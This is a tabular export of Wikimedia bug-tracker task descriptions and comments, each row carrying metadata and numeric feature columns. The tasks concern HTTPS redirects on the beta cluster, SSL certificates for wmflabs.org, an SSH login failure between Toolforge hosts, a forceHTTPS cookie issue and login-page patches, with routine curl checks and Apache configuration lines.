+https://gerrit.wikimedia.org/r/137291",,,1401880631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-57,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+265147,'Mobile view' link always heads to https,"Change 91123 merged by jenkins-bot:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/91123",,,1382481350,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+265143,'Mobile view' link always heads to https,"Change 91123 had a related patch set uploaded by devunt:
+Fix incorrect value being passed in second argument of MobileContext::getMobileUrl()
+
+https://gerrit.wikimedia.org/r/91123",,,1382415009,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+265138,'Mobile view' link always heads to https,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1322",,,1382414840,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o47zmudzjjgqctumtubv,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57957,Get SSL certificates for wmflabs.org,"So that services like these:
+* http://acc.wmflabs.org
+* http://parsoid.wmflabs.org
+* http://cvn.wmflabs.org/api.php
+
+.. can get proper valid HTTPS connections.
+
+See also bug 48501 (for *.{projects}.beta.wmflabs.org, probably needs separate treatment)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382338080,1382375472.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-37lmnryg4rtyk6aklzyk,task_description,invalid,True,c3,1,True,False,True,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+263694,Get SSL certificates for wmflabs.org,This is already done and is working on yuviproxy. We just need to merge in the proxy interface for wikitech and package the invisible unicorn api for yuviproxy.,,,1382375472,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-37lmnryg4rtyk6aklzyk,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+57945,not able to ssh to tools-dev from tools-login,"**Author:** `johan.gunnarsson`
+
+**Description:**
+Can not ssh to tools-dev from tools-login:
+
+johang@tools-login:~$ ssh tools-dev
+
+If you are having access problems, please see: https://wikitech.wikimedia.org/wiki/Access#Accessing_public_and_private_instances
+Permission denied (publickey).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382292180,1409168555.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_description,invalid,True,c3,1,False,False,True,-89,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+263123,not able to ssh to tools-dev from tools-login,Unable to reproduce.,,,1409168555,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+263116,not able to ssh to tools-dev from tools-login,"(In reply to comment #2)
+> Yup, that's it. I wasn't forwarding it correctly.
+
+No, the problem lies with Tools in that host-based authentification between tools-dev and tools-login isn't working anymore.  ssh'ing from tools-dev and tools-login to tools-exec-01 succeeds.
+
+I discovered that both tools-dev and tools-login had the ssh_hba variable unset, but setting it back to ""yes"" didn't fix the issue.  There were some changes to the submit host mechanism in conjunction with the introduction of the webnode role, but I don't see anything obvious.  Need to debug further.",,,1388275091,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-79,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+263107,not able to ssh to tools-dev from tools-login,"**johan.gunnarsson** wrote:
+
+Yup, that's it. I wasn't forwarding it correctly.",,,1382298279,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+263100,not able to ssh to tools-dev from tools-login,"ok, either you aren't forwarding your private key properly, or it's not located on tools-login in ~/.ssh",,,1382295431,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-bwyb4wlzidfcoi6jbnkj,task_subcomment,,True,c3,1,True,,,-89,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+57854,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"seen on test2wiki Oct 17 after deploy
+
+http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
+
+correctly goes to the 'Create account' UI
+
+http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup
+
+redirects to https but goes to the Login UI, not to the 'Create account' UI
+
+Special:CreateAccount and Special:UserLogin/signup continue to function correctly
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1382050680,1382053355.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tltmp7b334zjmyu7oik7,task_description,resolved,True,c3,1,False,False,True,-89,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+258513,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,seems to have been a temporary condition,,,1382053355,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+258507,http/https redirect gone wrong for Special:UserLogin?type=signup on test2wiki,"(In reply to comment #0)
+> seen on test2wiki Oct 17 after deploy
+> 
+> http://test2.wikipedia.org/wiki/Special:UserLogin?type=signup 
+> 
+> correctly goes to the 'Create account' UI
+
+should be 
+
+https://test2.wikipedia.org/wiki/Special:UserLogin?type=signup",,,1382050804,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tltmp7b334zjmyu7oik7,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+57804,Remove https redirect for loginwiki in beta,"It looks like in beta, the apache configuration is redirecting http://login.wikimedia.org to https.
+
+I'm not sure where those configs are stored, but can we remove that? I did that for production a while back, but it looks like the change didn't get into beta.
+
+This will let us enable SUL2 without https support in beta.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1381950600,1382138439.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-be3n24ybyqhu2mwflp3z,task_description,resolved,True,c3,1,True,False,True,-90,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+280366,Remove https redirect for loginwiki in beta,"I have purged http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page as well, was redirecting to the https version.",,,1382126008,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+280362,Remove https redirect for loginwiki in beta,"Assigning to Chris Steipp since he did all the work :-]
+
+
+I have purged the page using:
+
+hashar@deployment-bastion:~$ mwscript purgeList.php --wiki=enwiki
+http://login.wikimedia.beta.wmflabs.org/
+^D
+Purging 1 urls
+Done!
+
+
+
+Before:
+
+$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
+HTTP/1.1 301 Moved Permanently
+Server: Apache
+Location: https://login.wikimedia.beta.wmflabs.org/
+Content-Type: text/html; charset=iso-8859-1
+Vary: X-Forwarded-Proto
+X-Varnish: 687980 209891, 906468551 906468446
+Via: 1.1 varnish, 1.1 varnish
+Content-Length: 249
+Accept-Ranges: bytes
+Date: Fri, 18 Oct 2013 19:49:09 GMT
+Age: 349692
+Connection: keep-alive
+X-Cache: deployment-cache-text1 hit (6), deployment-cache-text1 frontend hit (4)
+
+
+AFTER purge:
+
+
+
+$ curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1
+HTTP/1.1 301 Moved Permanently
+Server: Apache
+X-Powered-By: PHP/5.3.10-1ubuntu3.8+wmf2
+X-Content-Type-Options: nosniff
+Cache-control: s-maxage=1200, must-revalidate, max-age=0
+Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
+X-Vary-Options: Accept-Encoding;list-contains=gzip,X-Forwarded-Proto,Cookie;string-contains=loginwikiToken;string-contains=loginwikiLoggedOut;string-contains=forceHTTPS;string-contains=loginwikiSession;string-contains=centralauth_Token;string-contains=centralauth_Session;string-contains=centralauth_LoggedOut;string-contains=mf_useformat;string-contains=stopMobileRedirect
+Last-Modified: Fri, 18 Oct 2013 19:49:28 GMT
+Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
+Content-Type: text/html; charset=utf-8
+X-Varnish: 688133, 906468558
+Via: 1.1 varnish, 1.1 varnish
+Date: Fri, 18 Oct 2013 19:49:28 GMT
+Age: 0
+Connection: keep-alive
+X-Cache: deployment-cache-text1 miss (0), deployment-cache-text1 frontend miss (0)
+
+
+I guess that fix the issue.",,,1382125890,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+280359,Remove https redirect for loginwiki in beta,"I updated the apache config and restarted the apaches. deployment-cache-text1 is still giving the https redirect for now:
+
+csteipp@linux-hv06:~> curl -qI 'http://login.wikimedia.beta.wmflabs.org' 2>&1 | egrep ""(Location|X-Cache:)""
+Location: https://login.wikimedia.beta.wmflabs.org/
+X-Cache: deployment-cache-text1 hit (3), deployment-cache-text1 frontend hit (3)
+
+However the backend apaches are correctly not redirecting at this point:
+
+csteipp@deployment-bastion:/data/project/apache/conf$ curl -I -H ""Host: login.wikimedia.beta.wmflabs.org"" http://10.4.0.187 2>&1 | grep Location
+Location: http://login.wikimedia.beta.wmflabs.org/wiki/Main_Page
+
+So, hopefully in about 1200 seconds, we'll get the right answer from the cache too.",,,1382110422,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+280358,Remove https redirect for loginwiki in beta,"Yep, just need to comment out these lines in loginwiki.conf:
+
+    RewriteCond %{HTTP:X-Forwarded-Proto} !https
+    RewriteRule ^/(.*)$ https://login.wikimedia.beta.wmflabs.org/$1 [R=301,L]
+
+I'll do that in the morning when other people are around in case something blows up.",,,1382066698,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-89,True,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+280355,Remove https redirect for loginwiki in beta,"
+The contents of wikimedia.conf and also of wikimedia-ssl-backend.conf and many others here: 
+
+###
+# This Apache configuration file should be left empty
+#
+# It is supposed to be linked to whenever we want to skip an Apache
+# configuration file coming from production.
+###
+
+My apache-fu is long out of date.  Is it loginwiki.conf that we want?  It is the only conf file in the directory that mentions https explicitly.
+
+The contents of the directory: 
+
+@deployment-bastion:/data/project/apache/conf$ ls
+all.conf     foundation.conf  nonexistent.conf   redirects.conf  testwiki.conf  wikimedia.conf              wikiquote.conf    wikiversity.conf  wmflabs-logging.conf
+config.conf  loginwiki.conf   placeholder.conf   remnant.conf    upload.conf    wikimedia-ssl-backend.conf  wikisource.conf   wiktionary.conf   www.wikipedia.conf
+en2.conf     main.conf        postrewrites.conf  site.conf       wikidata.conf  wikinews.conf               wikispecies.conf  wmflabs.conf",,,1382019767,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,False,,,-89,True,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+280351,Remove https redirect for loginwiki in beta,"oops.
+
+The Apache confs are in the project shared directory under /data/project/apache/conf   The directory is a local git repository so you can track changes.
+
+Once changed, you have to manually restart apache on deployment-apache32.pmtpa.wmflabs and deployment-apache33.pmtpa.wmflabs.
+
+Sorry for the confusion.",,,1381961510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+280347,Remove https redirect for loginwiki in beta,This is in apache's config. So I made the change in wikimedia.conf for production... I'm not sure what the beta equivalent of that is.,,,1381960687,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+280342,Remove https redirect for loginwiki in beta,"I took a look through CommonSettings and InitialiseSettings but didn't find any likely sources to control a redirect to https.  
+
+Is this control actually in the apache .conf itself?  Or did I just miss it in the Settings.php files?",,,1381959368,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,False,,,-90,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+280338,Remove https redirect for loginwiki in beta,"The MediaWiki configuration for beta are the same as being used in production: operations/mediawiki-config.git although there are some override in files named suffixed with '-labs.php'.
+
+So if that feature got enabled in production, it has been enabled at the same time on beta :-]   Whatever the option is, you will want to override it either in wmf-config/CommonSettings-labs.php or wmf-config/InitialiseSettings-labs.php.",,,1381955494,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-be3n24ybyqhu2mwflp3z,task_subcomment,,True,c3,1,True,,,-90,True,1,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+57760,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"cookies in Chrome
+
+don't send forceHTTPS cookie for any beta.wmflabs.org host
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F12680}",Needs Triage,90.0,1381872000,1386004991.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_description,resolved,True,c3,1,False,False,True,-90,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+277837,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,It shouldn't be. Anyone can reopen if they see this pop up again.,,,1386004991,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-83,True,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+277833,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Chris, is that still an issue?",,,1385995538,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0
+277826,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 merged by jenkins-bot:
+Update beta to use loginwiki for SUL
+
+https://gerrit.wikimedia.org/r/90670",,,1382479112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277817,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"Change 90670 had a related patch set uploaded by CSteipp:
+Update beta to use loginwiki for SUL
+
+https://gerrit.wikimedia.org/r/90670",,,1382137008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,False,,,-89,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277807,wikipedia.beta.wmflabs.org sending forceHTTPS cookie,"I'm not able to reproduce this in development, but I do see it in beta.
+
+It seems like SUL2 isn't configured correctly in beta, so I'll probably try and fix that first.
+
+I'm also a little suspicious that SpecialCentralAutoLogin::getCentralSession() looks directly at the user preference for cookie security instead of calling User::requiresHTTPS(), which would check if wgSecureLogin is disabled.",,,1381946028,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-bbd4cwkc2m5g2jc6phx3,task_subcomment,,True,c3,1,True,,,-90,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+57640,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Needs patches for other versions - only got 1.17 and 1.20 at the moment, so it probably needs 1.19, 1.21, and 1.22, especially as those are all of the current releases.
+
+Uncyclomedia has the file patched for 1.21, but nobody exported an actual patch file and I'm not sure it actually works, either - seems to have worked for uncyclopedia, but testing failed for ?pedia?
+
+
+(From what I understand, this is the patch to make it prevent the creation of accounts with names that folks might otherwise try to import. If I'm wrong about this someone smack me.)
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1381525920,1406357092.0,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,False,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_description,resolved,True,c3,1,False,False,True,-90,True,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+2374918,"Add patches for SpecialUserlogin.php for mw1.21, 1.23",Oops,,,1720574743,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,3,True,,,470,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+2374912,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","Change #1053081 had a related patch set uploaded (by Pppery; author: Pppery):
+%%%[mediawiki/extensions/timeline@master] ISO 8601 support%%%
+https://gerrit.wikimedia.org/r/1053081",,,1720573723,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,3,False,,,470,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+270879,"Add patches for SpecialUserlogin.php for mw1.21, 1.23","I filed bug 68607 to stop needing patches.
+
+1.19 is going to be EOL soon, so I guess we don't need that. Uncyclomedia skipped 1.22, so a core patch for it isn't super important.",,,1406357092,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hzptlnsxlnjsex6uh2k5,task_subcomment,,True,c3,1,True,,,-49,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
